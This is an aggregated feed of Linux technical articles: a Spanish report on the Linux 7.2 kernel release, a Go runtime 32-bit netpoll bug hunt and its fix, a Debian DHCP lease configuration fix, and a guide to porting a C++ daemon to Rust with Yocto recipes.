Linus Torvalds ha anunciado el lanzamiento de Linux 7.2, una nueva versión estable del kernel tan grande como es habitual y muy enfocada en el rendimiento, a juzgar por las notas ya publicadas. Las principales novedades se reparten entre los planificadores de CPU y GPU, la gestión de memoria, Btrfs, USB4 y seguridad. Lo de siempre, pero con los highlights señalados.

Así, uno de los avances más destacados de Linux 7.2 está en el planificador de tareas, que estrena un balanceo de carga consciente de la caché, con el objetivo de mantener dentro del mismo dominio de caché de último nivel las tareas que comparten datos, como los hilos de un proceso, reduciendo los movimientos y fallos de caché.

Linux 7.2 incorpora asimismo un planificador de GPU más «justo», como lo presentan las notas, inspirado en las ideas del CFS original de Linux y diseñado para superar las limitaciones del modelo FIFO utilizado hasta ahora. El cambio mejora el reparto de recursos y la respuesta de las aplicaciones interactivas frente a cargas gráficas intensivas, sin regresiones detectadas frente al sistema anterior.

También hay novedades importantes en la gestión de memoria, incluyendo el ciclo de recuperación de MGLRU y la escritura de páginas modificadas, que se han simplificado y optimizado, con mejoras de rendimiento de hasta un 30 % en algunas cargas de MongoDB con YCSB, una gran reducción de las páginas de archivo que deben volver a cargarse y menos situaciones inesperadas de falta de memoria.

La «cuarta fase» de la renovación del subsistema de swap, por su parte, unifica la asignación y contabilización del swap anónimo y de shmem mediante folios, consolida sus metadatos y reduce su sobrecarga estática casi a cero. Como referencia, montar un dispositivo de intercambio de 1 TB puede ahorrar unos 512 MB de memoria.

Otra novedad destacada de Linux 7.2 es USB4STREAM, un mecanismo para transmitir datos sin procesar entre dos equipos conectados mediante un cable USB4. El controlador expone dispositivos /dev/tbstreamX que se pueden utilizar con operaciones convencionales como read() y write(), o con herramientas como cat y dd. Puede utilizarse al mismo tiempo que thunderbolt_net y admite varios flujos simultáneos.

En sistemas de archivos, Btrfs activa por defecto los folios grandes, experimentales desde Linux 6.17, y añade soporte todavía experimental para folios enormes de hasta 2 MB. Incorpora además la operación GET_CSUMS, dirigida a optimizar la creación del sistema de archivos y la deduplicación, así como mejoras de rendimiento en escrituras secuenciales y E/S directa.

Linux 7.2 estrena también dm-inlinecrypt, un objetivo de Device Mapper para el cifrado en línea de dispositivos de bloques, planteado como alternativa práctica a dm-crypt. Se trata de un proyecto que parte del trabajo realizado en Android con dm-default-key, pero prescinde del modo de paso directo.

Completan las novedades destacadas de este lanzamiento dos nuevas opciones para las llamadas openat(): una que refuerza la seguridad al evitar que se abran elementos que no sean archivos regulares, y otra que permite reabrir directamente el archivo asociado a un descriptor. Además, se mejora la velocidad de acceso a información del sistema como /proc/filesystems y /proc/interrupts, y se sientan las bases para que sched_ext pueda utilizar subplanificadores diferentes en distintos grupos de control.

En resumen, Linux 7.2 pone el foco en hacer más eficiente el trabajo del kernel: desde distribuir mejor las tareas de CPU y GPU hasta reducir el coste del swap, acelerar Btrfs o ampliar las posibilidades de USB4. Esta vez no mencionamos nada en relación con los controladores gráficos, y no es que no haya novedades, pero nos remitimos solo a las «Prominent features» que recogen en Kernel Newbies.

La entrada Linux 7.2 mejora el rendimiento de CPU y GPU, la gestión de memoria y Btrfs es original de MuyLinux

35 years ago Linux began as a hobby called Freax

Tue, 25 Aug 2026 18:00:44 +0000

Linux is marking 35 years since Linus Torvalds publicly announced a small 386-based hobby operating system—and the project nearly carried the name Freax instead. The anniversary also highlights a less nostalgic fact for administrators: Torvalds remains active as Linux’s maintainer and is using AI to help find kernel bugs.

Source

Hunting Down a Go Runtime Bug on 32-bit Embedded Systems

Tue, 25 Aug 2026 17:05:49 +0000

Hunting Down a Go Runtime Bug on 32-bit Embedded Systems

Our daily work usually revolves around Linux and security topics, deep down in the software stack. Still, more often than you might think, we end up debugging applications which live much higher up. Sometimes such a problem has its roots in the Linux kernel, sometimes elsewhere. In this blog post we show how we found and fixed a bug inside the Go runtime.

Recently a customer reported that an application written in Go crashes from time to time on one of their embedded Linux systems.

Introduction

The crash was always the same fatal error with the following signature:

runtime: netpoll: eventfd ready for 5
fatal error: runtime: netpoll: eventfd ready for something unexpected
...stack trace...

At first we assumed that the application itself was buggy and needed fixing. But after inspecting the error more closely, it looked much more like an internal assumption in Go’s netpoll mechanism no longer holds.

The error message comes from netpoll() in src/runtime/netpoll_epoll.go:

In this code path, the netpoll code expects EPOLLIN to be the only firing event, but it got something else. In our case it got 5, which is EPOLLIN|EPOLLOUT. Why would epoll suddenly report more than EPOLLIN if the code asked only for EPOLLIN?

Before digging deeper, we threw the error message into a search engine, hoping that somebody else had faced the same issue before. This led us straight to a report in the Go project’s issue tracker: runtime: netpoll: eventfd ready for something unexpected.

The issue describes exactly the fatal error we saw. Also on a 32-bit ARM embedded Linux system! The reporters also noted that the crash happens in applications which run for a long time. That matched our customer’s description, too. Bingo!

The issue had been open and unresolved since March 2025. The Go maintainers had also rejected one attempt to fix the problem.

From the comments on the issue we learned that the fatal error only ever showed up on 32-bit ARM and i386 Linux systems, with all kinds of kernel versions. Some kernels were rather old, others recent. Not a single reporter saw it on an x86_64 or arm64 system.

Accepting the Challenge

The problem had multiple reporters but no fix, so we decided to dig into the issue ourselves. At the very least we could give the Go folks better input.

Initially we suspected that epoll behaves differently on 32-bit ARM or i386. We ditched this idea quickly since epoll is generic core code in the kernel. Why would it return a spurious event set only on 32-bit ARM or i386?

Still, the fact that the error showed up only on 32-bit systems gnawed at us. As a next step we reviewed the epoll usage in Go’s netpoll code. With the help of an LLM we went through src/runtime/netpoll_epoll.go, focusing on 32-bit pitfalls such as integer conversions.

The review revealed that Go’s netpoll code uses the data field of struct epoll_event. Linux epoll can store an 8 byte cookie in the kernel and returns it as part of the firing event to user space. Applications use this cookie to attach metadata to an event, for example to tell different event sources apart.

Deep inside the Go runtime, the main event handler needs to know whether an event belongs to an event fd or a socket fd. It decides by comparing ev.Data to the address of its internal event fd object:

Reading further through the code showed that ev.Data holds either a raw pointer to netpollEventFd or a tagged pointer to a per-socket object, pollDesc. The pointer tag is a counter, fdseq, which distinguishes recycled pollDesc objects.

So far so good. Mixing raw and tagged pointers in the same field looked fishy to us. But how this relates to the crash was not clear yet.

Inspecting how Go lays out tagged pointers in memory finally revealed the core of the issue.

The Aha Moment

On 32-bit platforms, Go’s tagged pointer logic packs the full 32-bit address and up to 32 tag bits into an 8 byte word. The tag goes into the lower 4 bytes and the address into the upper 4 bytes.

Storing a tagged pointer with address 0x00123456 and tag 0x12 fills ev.Data like this:

ev.Data[0:4]        ev.Data[4:8]
+------------------+-------------------+
|  fdseq           |  *pollDesc        |
|  e.g. 0x00000012 |  e.g. 0x00123456  |
+------------------+-------------------+

Storing the raw pointer, on the other hand, leaves the following contents in ev.Data:

ev.Data[0:4]       ev.Data[4:8]
+------------------+-------------------+
|  &netpollEventFd |  0 (untouched)    |
|  e.g. 0x00123456 |  0x00000000       |
+------------------+-------------------+

The lower 4 bytes hold the address of the object. The upper 4 bytes stay untouched since an address is only 4 bytes long on a 32-bit system.

This finally shows the root of the problem. The comparison of ev.Data with &netpollEventFd evaluates only the lower 4 bytes of ev.Data. The code casts ev.Data to uintptr, which is 4 bytes on 32-bit platforms. So the address of the netpollEventFd object aliases with fdseq.

As soon as fdseq grows large enough to match &netpollEventFd, the netpoll logic mistakes a socket fd for an event fd. Internal assumptions fall apart, among them the assumption that the ready event is just EPOLLIN.

Note that this aliasing can only happen on 32-bit little endian systems. On a 64-bit system, the comparison always covers the whole 8 bytes. On a 32-bit big endian system, the comparison would read the upper 4 bytes, which contain the address.

fdseq needs to grow into the millions before it matches &netpollEventFd. That’s why the problem shows up only in long-running programs which create lots of pollDesc objects over time. On a typical 32-bit ARM Linux system, netpollEventFd resides in a read-only section within the first 3 MiB of the address space, as the memory map of our test program shows:

$ pmap `pidof netpoll_test`
204:   /opt/netpoll_test
00010000   2696K r-x-- netpoll_test
002c0000   2192K r---- netpoll_test
004f0000    180K rw--- netpoll_test
...

So fdseq needs to reach a value of about 3 million before the crash can happen.

A Test Case

We also created a standalone test case for the problem. On our test systems, it triggered the crash within a few minutes:

$ /tmp/repro.arm.system
netpoll eventfd-alias reproducer (GOOS=linux GOARCH=arm)
runtime.netpollEventFd is at address 0x223008
crash expected around cycle 2240520

cycle 2236988runtime: netpoll: eventfd ready for 4
fatal error: runtime: netpoll: eventfd ready for something unexpected

runtime stack:
...

Fixing the Issue

We proposed a fix which changes how netpoll tells event fds and socket fds apart. Instead of storing the raw pointer &netpollEventFd, the fix stores a nil pollDesc as a tagged pointer. When unpacking the tagged pointer yields nil, the event belongs to the event fd, otherwise to a socket fd. This way ev.Data always contains a tagged pointer and the aliasing is gone.

Summary

A Go application crashed sporadically on a 32-bit ARM embedded Linux system with a fatal netpoll error. The error looked like an epoll problem, but epoll worked just fine. The Go runtime stores both a raw pointer to netpollEventFd and tagged pollDesc pointers in the 8 byte ev.Data field. On 32-bit little endian systems, the raw pointer aliases with the fdseq tag. Once a long-running program has recycled millions of pollDesc objects, netpoll mistakes a socket fd for the event fd and crashes. Our fix stores a tagged nil pollDesc for the event fd instead, which removes the aliasing.

The bug slipped into the Go runtime with Go 1.14 in 2020. It went unnoticed until the first report in March 2025 and finally got fixed in 2026. We can only speculate, but this suggests that Google itself no longer runs any 32-bit Go programs. Otherwise they would have hit the bug themselves long before we did.

We’d like to thank Frequentis AG for providing the budget to analyze and fix the problem.

Debian Not Reusing DHCP Leases – Makefile.feld

Tue, 25 Aug 2026 15:29:51 +0000

Makefile.feld

Debian Not Reusing DHCP Leases

#debian #linux #networking #systemd

A while back I posted about the very undesirable behavior of systemd releasing DHCP leases when shutting down which removes the entry from DNS and causes you to be unable to easily ping/monitor the host as it's rebooting or even look up what IP address it had while it was running.

Recently a new problem cropped up for me: Debian keeps getting a new DHCP lease (read: new IP address, when the old lease was not expired yet!), and the hostname is not following it.

After some debugging I found two problems.

RFC 4361 says if the DHCP client provides a client-id / DUID, that is used instead of the MAC address as the unique client identifier.
Apparently Debian decided to start running a second DHCP client on my server.

The fix for the first problem can be combined into the same file as the one we used to disable the DHCP release behavior:

# /etc/systemd/network/10-no-release.network
[Match]
Name=enp*

[Network]
DHCP=ipv4

[DHCPv4]
ClientIdentifier=mac
SendRelease=no

The new setting is the ClientIdentifier=mac. Now it will not send a new DUID every time it requests a lease. I'm still not sure why the DUID kept changing, but it did.

The fix for the second problem is that somehow the ifupdown package got installed on my server and this starts a second DHCP client. Purging this fixed that issue.

Now I can see on my firewall that the DHCP lease for this server is associated with the MAC address and the hostname is associated with it too.

I really don't know how this happened or even why Debian allows two DHCP clients to be enabled simultaneously. You'd think systemd could detect two services are providing the same role and prevent this, but Poettering must think otherwise. Once again I've been screwed by systemd. If systemd-networkd didn't even exist and we just kept using the standard ISC DHCP client none of this would have happened.

MacOS EDEADLK »

Porting C++ to Rust by example with Yocto – The Good Penguin

Tue, 25 Aug 2026 02:07:28 +0000

Rust is an efficient system level language, in terms of performance it sits somewhere on par with C++ but lower than C. Similar to C++, it offers high level abstractions and types intended to help build system applications. Where Rust excels though is its focus on memory/thread safety and its data ownership model (enforced by its borrow checker at compile time). Alternative memory safe languages exist such as Go, however it has a garbage collector and is probably best suited for tooling and cloud services. Embedded Linux devices are our daily bread and butter here at The Good Penguin so performance of Rust is of interest. There are other languages to keep an eye out for too, for example Zig, but the memory safety there is required to be managed manually so it might be prone to the usual mistakes. Also, Zig’s release has also not reached v1.0 yet.

Rust is a fairly complex language with a lot of features to digest, we have (among others): mutable/immutable variables, structs, enums and patterns, traits, ownership, declarative and procedural macros, lifetimes, cargo crates and an in-built testing framework inside its compiler. There is a lot of information required to understand and hold in your head at any point in time to get the full picture of the Rust programming language and to use its features effectively.

Rust is large but one can just start writing code and use the best tool within the rich space of Rust features for the job at hand, as well as use a reference book opened next to your IDE to look up what other open-source projects did facing similar problems. Trying to internalise the whole of Rust in your head wont work well without practice, otherwise the concepts behind it wont be too memorable. At least this is what we have found, which brings us to the actual subject matter, porting a C++ application to Rust.

In 2023 we developed krill-kounter a C++ daemon for monitoring the health of flash devices, we even gave a talk about it and flash wear at the Embedded Linux Conference in Seattle in 2024. The daemon reads block stats to provide an accumulated number of bytes written to the device among other statistics and is targeted to run on deeply embedded devices (e.g. industrial in a factory). The daemon seemed like a good enough and simple candidate to see what will happen if we would port it to Rust.

The first step was to look at the existing C++ code base and catalogue all of the objects and data paths to have a model of the architecture and hierarchy – writing code in Rust is different than OOP C++ and so it is helpful to have a block diagram of how the existing application worked and then use that to write the Rust application.

Dependencies – crates

Thanks to the many crates that the Rust language provides, we were able to drastically simplify the boilerplate that needed to be written. Thus, using crates and doing it often is the first major change in the programming habit.

For example, data serialization/deserialization to JSON was handled by the serde crate – all we needed to do was to define how this process should be done in the exact same place where the struct was defined in the source code (which we liked):

#[derive(Deserialize, Serialize, Clone, Default, Debug)]
#[serde(rename_all = "camelCase")]
pub struct DeviceEntry {
    pub first_sithing_date: String,

    #[serde(rename = "path", skip_serializing)]
    pub previous_path: String,
    #[serde(rename = "path", skip_deserializing)]
    pub current_path: String,

    #[serde(rename = "stats")]
    pub stored_stats: BlockStats,

    pub total_bytes_written: u128,
    pub disk_seq: u64,

    // The below entries exist only in memory and are not stored.
    #[serde(skip)]
    pub previous_stats: BlockStats,
    #[serde(skip)]
    pub is_active: bool,
    #[serde(skip)]
    pub serial_number: String,
    #[serde(skip)]
    pub device_name: String,
    #[serde(skip)]
    pub stat_path: String,
}

As can be seen above we could handle camel-case-iation of the idiomatic Rust snake case variable naming, skipping items (on read and/or write) and renaming items in a compact and clear way – this was all done manually in our C++ code and it would be disadvantageous to not to use the Rust crate to get the boilerplate out of the way. However, with that approach we found that we have generated more dependencies in our Rust program than we would like and got a bit lazy which resulted in adding even more crates to solve the problems faced. That is the idiomatic way – to use the crates – but this approach could potentially lead to a supply chain attack – the type of npm is well known for.

This aspect needs extra care and consideration when writing Rust – one should check the crates being used and make sure they are in active development. It is useful to go and investigate the crate repositories and establish some sort of chain of trust. There are existing tools to aid you with the crate auditing and checking for existing vulnerabilities within your dependency chain like cargo-audit or the osv-scanner (driven by the RustSec Advisory Database). One can also use tools like cargo-crev which is a database of distributed peer code reviews of various crates – you can read more in-depth about the subject in a blog here. One can also use cargo-modules to visualise a crate’s internal structure or display the dependency tree with cargo tree, which we have found very useful.

Lastly, you should also read the documentation of the crates carefully to avoid miss-using them and also limit the amount of features that are pulled in into your application to reduce the bloat (and potentially an attack surface) – you can use cargo-bloat for this. We shall now give examples on how to use these audit tools below, it is usually a one-liner that could easily be a part of your CI job :

# cargo-crev
$ cargo install cargo-crev
$ cargo crev trust --level high https://github.com/dpc/crev-proofs
$ cargo crev repo fetch all
$ cargo crev verify --show-all

# cargo-audit
$ cargo install cargo-audit
$ cargo audit
Fetching advisory database from https://github.com/RustSec/advisory-db.git       Loaded 1160 security advisories (from /home/user/.cargo/advisory-db)
     Updating crates.io index
     Scanning Cargo.lock for vulnerabilities (98 crate dependencies)

# cargo-modules
cargo install cargo-modules
# display structure tree of the crate
cargo modules structure --lib
# display dependency graph (and store in SVG for viewing)
cargo modules dependencies --lib | dot -Tsvg > deps.svg

In summary, we had 12 explicit dependencies found in our Cargo.toml, but these crates themselves had their own dependencies so the actual number was up to 98. In comparison the Cmakelists for our C++ project had only 4 dependencies – we could reduce the number of dependencies in Rust by dropping all the crates of course and implement everything from scratch – but that is probably not the most efficient way to use the language.

Binaries and linking

The Rust crates are linked in statically by default (however dynamically linked crates are also supported). On the other hand, in C++ the dependencies are resolved at runtime by the dynamic linker. This translated directly into the release binary size: the C++ application was just 232 kB, but it needs other .so objects to exist on the disk that also have their size (but are reusable between different applications). The Rust application binary was 2.0MB so it is larger, but it had minimal runtime dependencies. This can be seen in the output from a ‘readelf -d’:

# Rust krill-kounter
0x0000000000000001 (NEEDED)             Shared library: [libgcc_s.so.1]
0x0000000000000001 (NEEDED)             Shared library: [libm.so.6]
0x0000000000000001 (NEEDED)             Shared library: [libc.so.6]

# C++ krill-kounter
0x0000000000000001 (NEEDED)             Shared library: [libglib-2.0.so.0]
0x0000000000000001 (NEEDED)             Shared library: [libkrillkounter.so.0]
0x0000000000000001 (NEEDED)             Shared library: [libstdc++.so.6]
0x0000000000000001 (NEEDED)             Shared library: [libm.so.6]
0x0000000000000001 (NEEDED)             Shared library: [libgcc_s.so.1]
0x0000000000000001 (NEEDED)             Shared library: [libc.so.6]

One thing we have also noted is that in the Rust binary we had a lot more relative relocations of type R_X86_64_RELATIVE (around 30 times more) as show by running ‘readelf -r’ and counting the relocation types (we note that we had to add ‘-fno-plt’ and eager binding to our C++ compile time options to match closer the rest of relocation types with the Rust app to reduce the diff). These are offsets (known as addends) into the binary itself relative to its actual base address – which is not known at compile time and so the address is resolved at runtime – but the relative offsets required are known by the compiler. This is due to how the Rust application itself was compiled – its crates are statically linked into a PIE binary and so the code has more pointers to local data and functions – and also these relocations are inferred by the features of the language itself that we have used in the code.

# Rust krill-kounter
    1482 R_X86_64_RELATIVE
     126 R_X86_64_GLOB_DAT
       2 Type
       2 R_X86_64_JUMP_SLO
       2 
       1 '.rela.plt'
       1 '.rela.dyn'

# C++ krill-kounter
     115 R_X86_64_GLOB_DAT
      45 R_X86_64_RELATIVE
      13 R_X86_64_64
       8 R_X86_64_COPY
       2 Type
       2 R_X86_64_JUMP_SLO
       2 
       1 '.rela.plt'
       1 '.rela.dyn'

Indeed if we look up to see to what these references resolve to in the output binary then we discover that nearly half of them are associated with trait object vtables – so these are effectively function pointers. The trait is an implementation of a generic interface for multiple object types and multiple objects can implement multiple traits, or otherwise one of the ways polymorphism is handled in the Rust language. Traits were inspired by Haskell’s typeclasses and the other way to do polymorphism in Rust are generics. The trait type can be known or unknown at compile time which results in either static or dynamic dispatch. When the dispatch is static the code can be inlined as we know the exact code to execute, when it is dynamic we need two pointers: data pointer to the object itself and a pointer to its vtable that contains function pointers for the object’s implementation of the trait (these two pointers wrapped in a fat pointer is a trait object). We use traits in our code mostly for printing logs and handling of errors which is aided by the anyhow crate. Some of these R_X86_64_RELATIVE relocations are used by the trait Drop – created for dropping objects when they go out of scope – as each object will have its own destruct routine. The other half of the relocations seems to indicate references to other data structures used in the code like strings for example.

Code structure

The next thing we noted was that the code structure was closer to something we would get from a C code base than from C++ i.e. we ended up with structs processed in modules as opposed to packing all of the functionality inside object method themselves. The main classes in C++ were: JSON parser/writer, statistics computer and statistics reader, on the other hand in Rust we have ended up with: block, device, config and daemon modules/structs – which is much more logical and clearly representing the actual data flow. What we have liked in particular is wrapping function return values in the Result type to aid error branch handling (using the already mentioned anyhow crate for convenience while we are at it) – which saves a lot of if/else type of code to validate values when writing C because the checks are simply replaced with a ‘?’ try operator in the code and the compiler does the rest.

So yes, Rust made us write better and cleaner code as we had to think about the flow of data a bit more (due to the ownership model) and the code actually felt more familiar to a C code base than C with classes, that is minus the boilerplate you would have to write and debug in C which is a bonus in our book. Yes – the syntax was awkward at the beginning but it makes sense after some actual legwork and actual typing.

Testing

The next aspect was testing which is provided by the rustc compiler – therefore we tried to write the application with testing in mind from day one. The workflow was to write a module, then a test rig for it and at the end write a test harness to simulate operation of the whole daemon. This has proven to be very useful and somewhat refreshing approach as it can give the developers more confidence into the code that they are writing – you shall know that a change made in a few months wont break something that was done a year ago – which is priceless. We do a lot of CI test workflows for whole Yocto distributions but doing that for a single application to a great level of detail is not that common. Thanks to this approach we have found bugs during development even before whole of the application was ready. However it is worth noticing that this can increase the development time.

Linting and docs

The last thing on the list we should talk about is clippy – the Rust linting tool that finds all 101 type of mistakes. Once we have finished all of our coding we did run clippy in pedantic mode on our source code – it found hundreds of issues that could have be done better and in more idiomatic way – in retrospective we should have used it as an integral part of the development workflow. That tool also forced us to document the source code accordingly, we just run it in the CI now. Another useful tool is rustfmt – replacing the .clang-format in the C realm and cargo-doc – which will generate documentation that one can put on the web.

So to summarize, in our case, apart form the memory safety, Rust comes with a lot of useful tools that can aid your workflow and speed up the development process and will force you to write cleaner, testable and documented code. The price to pay is that one has to be careful with the dependency trees as literally anything is available to link in to your crate via cargo without any duct taping work required, one will have to accept larger binaries and slower compilation times (on top of the steep learning curve).

Rust in Yocto: openembedded-core vs meta-rust-bin

With the application port and testing done, we then explored the ways of integrating the Rust application into a Yocto OE image, the current way of integrating Rust is to use openembedded-core layer or to use the meta-rust-bin layer, we shall evaluate working with both below. For the record, in the past we would have used meta-rust – but parts of it were merged into openembedded-core. You can also read more on that matter and history of Rust support in Yocto in the great article from our friends at Memfault.

openembedded-core

This layer builds whole of Rust tool-chain: cargo, rustc and std and other libraries from scratch, so it is optimized for the target hardware. The problem is that the rust version is tied to the Yocto version itself, so it might be out of date compared to upstream Rust. We also manage dependencies manually – you will know exactly what is being pulled in. Luckily we can just use bitbake directly to populate the Rust crate dependencies and store them in an include file that is then pulled in the actual bitbake recipe i.e. running:

bitbake -c update_crates krillkounter-rs

This will generate a krillkounter-rs-crates.inc file that shall append the SRC_URI with all of the dependencies in it, then we have to require that file in our bitbake recipe (for this to work we need to inherit the cargo-update-recipe-crates class that shall add do_update_crates task to your recipe’s task list), so our recipe looks like this:

inherit cargo cargo-update-recipe-crates systemd

DESCRIPTION = "Krillkounter-rs"
HOMEPAGE = "github.com/The-Good-Penguin/krill-kounter-rs"
LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://LICENSE;md5=bcb3ac6803f69378f6a200eeddfa331a"

SRC_URI = "git://github.com/The-Good-Penguin/krill-kounter-rs.git;protocol=https;nobranch=1"

require krillkounter-rs-crates.inc

SRCREV = "be6aa88a1d6eca084eed6493fa3de17628b47559"
S = "${WORKDIR}/git"

SYSTEMD_SERVICE:${PN} = "krill-kounter-rs.service"

do_install:append () {
    install -d ${D}${systemd_unitdir}/system
    install -m 0644 ${S}/install/service/krill-kounter-rs.service ${D}${systemd_unitdir}/system
}

FILES:${PN} += "${systemd_unitdir}/system"

The above process is a bit manual, also the rust version found in openembedded-core at the scarthgap branch is at v1.75 while upstream is at v1.97.1. Since we have built the application with Rust edition 2024 – we had to explore updating the Rust version found in openebedded-core – which was done with the use of the layer meta-lts-mixins. This layer allowed to up the Rust version to v1.92 which was supporting the matching 2024 edition and with that in place our application did build. We also had to inherit the cargo class which will deal with boot strapping the cross compiler variables for the Rust toolchain and deal with matching the target hardware with a correct LLVM config and issue a cargo build. The crates are downloaded locally first into the ${WORKDIR}/cargo_home/bitbake during do_fetch and then this folder is used as the source of all crates during the build step. Interestingly since LLVM 18 the i128 variable is aligned to 16-byte boundary on x86 systems as seen in this PR. In practice it means that Rust < v1.77 might run into build errors with LLVM 18+ without some back-porting of patches, as we have discovered ourselves by experimenting: the ABI and data_layout were not matching and we hit a static assert in the rust_ast. In theory you should not run into this as rustc source does include a matching LLVM as a git module that is used by default – you can read more about this here.

meta-rust-bin

This layer is using pre-built binaries of the compiler and standard libraries from upstream of the Rust tool-chain – thus it might not be fully optimised for the target hardware that you will be using. The advantage though, is easy interoperability between Yocto versions. As we do not build any Rust binaries using Yocto backends, for the most part we are independent of the Yocto version (except the bitbake syntax of course). Another win are easy updates of the Rust version itself without resolving to external duct taping layers. The other convenience is that you do not have to manage the dependencies manually and check them out locally first as this will be just done by cargo. Therefore our Yocto recipe for integrating krillkounter to the build looks like this:

inherit cargo_bin systemd

DESCRIPTION = "Krillkounter-rs"
HOMEPAGE = "github.com/The-Good-Penguin/krill-kounter-rs"
LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://LICENSE;md5=bcb3ac6803f69378f6a200eeddfa331a"

SRC_URI = "git://github.com/The-Good-Penguin/krill-kounter-rs.git;protocol=https;nobranch=1"
SRCREV = "f03ea717c104d1808bff771501999f01b9fde052"
S = "${WORKDIR}/git"

SYSTEMD_SERVICE:${PN} = "krill-kounter-rs.service"

# Enable network for the compile task allowing cargo to download dependencies
do_compile[network] = "1"

do_install:append () {
    install -d ${D}${systemd_unitdir}/system
    install -m 0644 ${S}/install/service/krill-kounter-rs.service ${D}${systemd_unitdir}/system
}

FILES:${PN} += "${systemd_unitdir}/system"

And that is all that there was too it, the recipe needs to inherit the cargo_bin class that will pull in the cross tool chain by appending your recipe’s DEPENDS variable, then create wrapper scripts required for expanding compiler/linker flags for cargo/rustc (similarly to openembedded-core layer) and finally just issue a cargo build command.

Conclusions

Using the memory safety that comes with Rust is not for free: one should take care about scrutinising the dependencies (which is really true for any language). However, it is easier to have latent dependencies in Rust as in theory any crate can be pulled in via cargo that could lead to a supply chain attack. The other aspect is the binary size due to the default static linking of the crates dependencies – lack of space is usually not a problem on embedded Linux machines nowadays and this might only be an issue for large code-bases. Though one could in theory then do more work to switch to dynamically linking some of the most commonly re-used crates. Lastly, the effort of writing Rust code has overheads due to the testing that usually goes with it – of course you could skip that bit, but perhaps that is bad practice. Regarding the coding experience itself, we have enjoyed writing Rust, hope to write more. We found the integration with Yocto at the time of writing to be very good with two main choices – with meta-rust-bin being the clear winner for a zero effort solution and rapid bring up – whereas we found the openembedded-core approach requires a bit more work but provides more explicit control over its dependencies. It’s also better optimised for the target hardware.

Please contact us if you would like us to assist you with your Linux Rust projects !

x